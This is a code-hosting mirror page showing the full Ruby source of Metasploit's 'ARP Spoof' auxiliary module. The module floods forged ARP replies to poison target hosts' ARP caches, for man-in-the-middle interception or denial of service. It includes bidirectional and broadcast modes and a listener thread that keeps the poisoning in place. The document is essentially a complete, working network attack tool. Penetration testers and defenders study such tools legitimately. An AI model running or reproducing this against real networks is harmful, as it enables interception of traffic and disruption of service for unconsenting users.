CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/arp/arp_poisoning.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Capture
8
include Msf::Auxiliary::Report
9
10
def initialize
11
super(
12
'Name' => 'ARP Spoof',
13
'Description' => %q{
14
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
15
},
16
'Author' => 'amaloteaux', # msf rewrite
17
#tons of people
18
'License' => MSF_LICENSE,
19
'References' =>
20
[
21
['OSVDB', '11169'],
22
['CVE', '1999-0667'],
23
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
24
],
25
'DisclosureDate' => 'Dec 22 1999' #osvdb date
26
)
27
28
register_options([
29
OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),
30
OptString.new('SMAC', [false, 'The spoofed mac']),
31
OptString.new('DHOSTS', [true, 'Target ip addresses']),
32
OptString.new('INTERFACE', [false, 'The name of the interface']),
33
OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),
34
OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),
35
OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
36
])
37
38
register_advanced_options([
39
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
40
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
41
OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
42
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
43
# This mode will generate address ip conflict pop up on most systems
44
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
45
])
46
47
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
48
end
49
50
def run
51
open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
52
@netifaces = true
53
if not netifaces_implemented?
54
print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
55
@netifaces = false
56
end
57
@spoofing = false
58
# The local dst (and src) cache(s)
59
@dsthosts_cache = {}
60
@srchosts_cache = {}
61
# Some additional caches for autoadd feature
62
if datastore['AUTO_ADD']
63
@dsthosts_autoadd_cache = {}
64
if datastore['BIDIRECTIONAL']
65
@srchosts_autoadd_cache = {}
66
end
67
end
68
69
begin
70
@interface = datastore['INTERFACE'] || Pcap.lookupdev
71
# This is needed on windows cause we send interface directly to Pcap functions
72
@interface = get_interface_guid(@interface)
73
@smac = datastore['SMAC']
74
@smac ||= get_mac(@interface) if @netifaces
75
raise 'SMAC is not defined and can not be guessed' unless @smac
76
raise 'Source MAC is not in correct format' unless is_mac?(@smac)
77
78
@sip = datastore['LOCALSIP']
79
@sip ||= get_ipv4_addr(@interface) if @netifaces
80
raise "LOCALSIP is not defined and can not be guessed" unless @sip
81
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
82
83
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
84
@shosts = []
85
if datastore['BIDIRECTIONAL']
86
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
87
else
88
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
89
end
90
91
if datastore['BROADCAST']
92
broadcast_spoof
93
else
94
arp_poisoning
95
end
96
97
rescue => ex
98
print_error( ex.message)
99
ensure
100
101
if datastore['LISTENER']
102
@listener.kill if @listener
103
end
104
105
if capture and @spoofing and not datastore['BROADCAST']
106
print_status("RE-ARPing the victims...")
107
3.times do
108
@dsthosts_cache.keys.sort.each do |dhost|
109
dmac = @dsthosts_cache[dhost]
110
if datastore['BIDIRECTIONAL']
111
@srchosts_cache.keys.sort.each do |shost|
112
smac = @srchosts_cache[shost]
113
if shost != dhost
114
vprint_status("Sending arp packet for #{shost} to #{dhost}")
115
reply = buildreply(shost, smac, dhost, dmac)
116
inject(reply)
117
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
118
end
119
end
120
else
121
@shosts.each do |shost|
122
if shost != dhost
123
vprint_status("Sending arp request for #{shost} to #{dhost}")
124
request = buildprobe(dhost, dmac, shost)
125
inject(request)
126
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
127
end
128
end
129
end
130
end
131
if datastore['BIDIRECTIONAL']
132
@srchosts_cache.keys.sort.each do |shost|
133
smac = @srchosts_cache[shost]
134
@dsthosts_cache.keys.sort.each do |dhost|
135
dmac = @dsthosts_cache[dhost]
136
if shost != dhost
137
vprint_status("Sending arp packet for #{dhost} to #{shost}")
138
reply = buildreply(dhost, dmac, shost, smac)
139
inject(reply)
140
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
141
end
142
end
143
end
144
end
145
end # 3.times
146
end
147
close_pcap
148
end #begin/rescue/ensure
149
end
150
151
def broadcast_spoof
152
print_status("ARP poisoning in progress (broadcast)...")
153
while(true)
154
@shosts.each do |shost|
155
vprint_status("Sending arp packet for #{shost} address")
156
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
157
inject(reply)
158
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
159
end
160
end
161
end
162
163
def arp_poisoning
164
lsmac = datastore['LOCALSMAC'] || @smac
165
raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
166
167
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
168
@dhosts = []
169
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
170
171
# Build the local dest hosts cache
172
print_status("Building the destination hosts cache...")
173
@dhosts.each do |dhost|
174
vprint_status("Sending arp packet to #{dhost}")
175
176
probe = buildprobe(@sip, lsmac, dhost)
177
inject(probe)
178
while(reply = getreply())
179
next if not reply.is_arp?
180
# Without this check any arp request would be added to the cache
181
if @dhosts.include? reply.arp_saddr_ip
182
print_good("#{reply.arp_saddr_ip} appears to be up.")
183
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
184
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
185
end
186
end
187
188
end
189
# Wait some few seconds for last packets
190
etime = Time.now.to_f + datastore['TIMEOUT']
191
while (Time.now.to_f < etime)
192
while(reply = getreply())
193
next if not reply.is_arp?
194
if @dhosts.include? reply.arp_saddr_ip
195
print_good("#{reply.arp_saddr_ip} appears to be up.")
196
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
197
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
198
end
199
end
200
Kernel.select(nil, nil, nil, 0.50)
201
end
202
raise "No hosts found" unless @dsthosts_cache.length > 0
203
204
# Build the local src hosts cache
205
if datastore['BIDIRECTIONAL']
206
print_status("Building the source hosts cache for unknown source hosts...")
207
@shosts.each do |shost|
208
if @dsthosts_cache.has_key? shost
209
vprint_status("Adding #{shost} from destination cache")
210
@srchosts_cache[shost] = @dsthosts_cache[shost]
211
next
212
end
213
vprint_status("Sending arp packet to #{shost}")
214
probe = buildprobe(@sip, lsmac, shost)
215
inject(probe)
216
while(reply = getreply())
217
next if not reply.is_arp?
218
if @shosts.include? reply.arp_saddr_ip
219
print_good("#{reply.arp_saddr_ip} appears to be up.")
220
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
221
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
222
end
223
end
224
225
end
226
# Wait some few seconds for last packets
227
etime = Time.now.to_f + datastore['TIMEOUT']
228
while (Time.now.to_f < etime)
229
while(reply = getreply())
230
next if not reply.is_arp?
231
if @shosts.include? reply.arp_saddr_ip
232
print_good("#{reply.arp_saddr_ip} appears to be up.")
233
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
234
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
235
end
236
end
237
Kernel.select(nil, nil, nil, 0.50)
238
end
239
raise "No hosts found" unless @srchosts_cache.length > 0
240
end
241
242
if datastore['AUTO_ADD']
243
@mutex_cache = Mutex.new
244
end
245
246
# Start the listener
247
if datastore['LISTENER']
248
start_listener(@dsthosts_cache, @srchosts_cache)
249
end
250
# Do the job until user interrupt it
251
print_status("ARP poisoning in progress...")
252
@spoofing = true
253
while(true)
254
if datastore['AUTO_ADD']
255
@mutex_cache.lock
256
if @dsthosts_autoadd_cache.length > 0
257
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
258
@dsthosts_autoadd_cache = {}
259
end
260
if datastore['BIDIRECTIONAL']
261
if @srchosts_autoadd_cache.length > 0
262
@srchosts_cache.merge!(@srchosts_autoadd_cache)
263
@srchosts_autoadd_cache = {}
264
end
265
end
266
@mutex_cache.unlock
267
end
268
@dsthosts_cache.keys.sort.each do |dhost|
269
dmac = @dsthosts_cache[dhost]
270
if datastore['BIDIRECTIONAL']
271
@srchosts_cache.keys.sort.each do |shost|
272
smac = @srchosts_cache[shost]
273
if shost != dhost
274
vprint_status("Sending arp packet for #{shost} to #{dhost}")
275
reply = buildreply(shost, @smac, dhost, dmac)
276
inject(reply)
277
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
278
end
279
end
280
else
281
@shosts.each do |shost|
282
if shost != dhost
283
vprint_status("Sending arp packet for #{shost} to #{dhost}")
284
reply = buildreply(shost, @smac, dhost, dmac)
285
inject(reply)
286
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
287
end
288
end
289
end
290
end
291
292
if datastore['BIDIRECTIONAL']
293
@srchosts_cache.keys.sort.each do |shost|
294
smac = @srchosts_cache[shost]
295
@dsthosts_cache.keys.sort.each do |dhost|
296
dmac = @dsthosts_cache[dhost]
297
if shost != dhost
298
vprint_status("Sending arp packet for #{dhost} to #{shost}")
299
reply = buildreply(dhost, @smac, shost, smac)
300
inject(reply)
301
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
302
end
303
end
304
end
305
end
306
end
307
end
308
309
310
def is_mac?(mac)
311
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
312
else false end
313
end
314
315
def buildprobe(shost, smac, dhost)
316
p = PacketFu::ARPPacket.new
317
p.eth_saddr = smac
318
p.eth_daddr = "ff:ff:ff:ff:ff:ff"
319
p.arp_opcode = 1
320
p.arp_daddr_mac = p.eth_daddr
321
p.arp_saddr_mac = p.eth_saddr
322
p.arp_saddr_ip = shost
323
p.arp_daddr_ip = dhost
324
p
325
end
326
327
def buildreply(shost, smac, dhost, dmac)
328
p = PacketFu::ARPPacket.new
329
p.eth_saddr = smac
330
p.eth_daddr = dmac
331
p.arp_opcode = 2 # ARP Reply
332
p.arp_daddr_mac = p.eth_daddr
333
p.arp_saddr_mac = p.eth_saddr
334
p.arp_saddr_ip = shost
335
p.arp_daddr_ip = dhost
336
p
337
end
338
339
def getreply
340
pkt_bytes = capture.next
341
return if not pkt_bytes
342
pkt = PacketFu::Packet.parse(pkt_bytes)
343
return unless pkt.is_arp?
344
return unless pkt.arp_opcode == 2
345
pkt
346
end
347
348
def start_listener(dsthosts_cache, srchosts_cache)
349
350
if datastore['BIDIRECTIONAL']
351
args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
352
else
353
args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
354
end
355
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
356
args[:AUTO_ADD] = datastore['AUTO_ADD']
357
args[:localip] = @sip.dup
358
@listener = Thread.new(args) do |args|
359
begin
360
# one more local copy
361
liste_src_ips = []
362
if args[:BIDIRECTIONAL]
363
args[:shosts].each_key {|address| liste_src_ips.push address}
364
else
365
args[:shosts].each {|address| liste_src_ips.push address}
366
end
367
liste_dst_ips = []
368
args[:dhosts].each_key {|address| liste_dst_ips.push address}
369
localip = args[:localip]
370
371
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
372
listener_capture.setfilter("arp[6:2] == 0x0001")
373
while(true)
374
pkt_bytes = listener_capture.next
375
if pkt_bytes
376
pkt = PacketFu::Packet.parse(pkt_bytes)
377
if pkt.is_arp?
378
if pkt.arp_opcode == 1
379
# check if the source ip is in the dest hosts
380
if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
381
(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
382
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
383
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
384
3.times{listener_capture.inject(reply.to_s)}
385
elsif args[:AUTO_ADD]
386
if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
387
pkt.arp_saddr_ip != localip)
388
@mutex_cache.lock
389
print_status("#{pkt.arp_saddr_ip} appears to be up.")
390
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
391
liste_dst_ips.push pkt.arp_saddr_ip
392
@mutex_cache.unlock
393
elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
394
not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
395
@mutex_cache.lock
396
print_status("#{pkt.arp_saddr_ip} appears to be up.")
397
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
398
liste_src_ips.push pkt.arp_saddr_ip
399
@mutex_cache.unlock
400
end
401
end
402
end
403
end
404
end
405
end
406
rescue => ex
407
print_error("Listener Error: #{ex.message}")
408
print_error("Listener Error: Listener is stopped")
409
end
410
end
411
@listener.abort_on_exception = true
412
end
413
end
414
415